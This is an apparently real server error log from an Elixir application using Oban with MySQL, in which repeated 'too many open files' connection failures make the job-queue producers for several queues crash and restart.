    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:10:22.247297Z], limit: 20, uuid: "4eee4e90-e66b-4721-a160-7aaa0943d8af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:22.247303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109892>, refresh_timer: #Reference<0.2525715032.1077411843.239695>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:33.419000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:36.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:38.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:10:26.238208Z], limit: 10, uuid: "2fa1b973-0bf1-4245-9b05-2517dc437592", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:26.238214Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110003>, refresh_timer: #Reference<0.2525715032.1121189889.109988>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:42.717000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:10:33.244756Z], limit: 50, uuid: "801a9c00-03ee-461d-8ea8-30a76da1dea2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:33.244763Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110171>, refresh_timer: #Reference<0.2525715032.1121189889.110162>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:10:33.239058Z], limit: 5, uuid: "f5201d55-3fb1-4fe9-ab13-f8c8abe6a154", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:33.239063Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110175>, refresh_timer: #Reference<0.2525715032.1068236804.256002>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:10:33.244028Z], limit: 3, uuid: "a9198eb8-e080-43b2-854b-2ec6300c5a63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:33.244033Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110173>, refresh_timer: #Reference<0.2525715032.1077411843.239861>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:10:33.244317Z], limit: 20, uuid: "09402918-e145-477d-b600-33b9aa7fb069", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:33.244322Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110172>, refresh_timer: #Reference<0.2525715032.1099431938.8079>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:10:33.238901Z], limit: 5, uuid: "92f9ec9a-0edb-4baa-b026-590140ca7c18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:33.238908Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110174>, refresh_timer: #Reference<0.2525715032.1068236804.255994>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:46.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:47.236000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:10:39.240929Z], limit: 10, uuid: "f1e028fd-71f2-4946-bf8b-5f29d9aad93b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:39.240936Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256077>, refresh_timer: #Reference<0.2525715032.1068236804.256068>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:51.917000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:52.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:55.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:10:45.247934Z], limit: 20, uuid: "74734a3b-6344-42cf-815c-adf209341746", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:45.247939Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256309>, refresh_timer: #Reference<0.2525715032.1068236804.256267>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
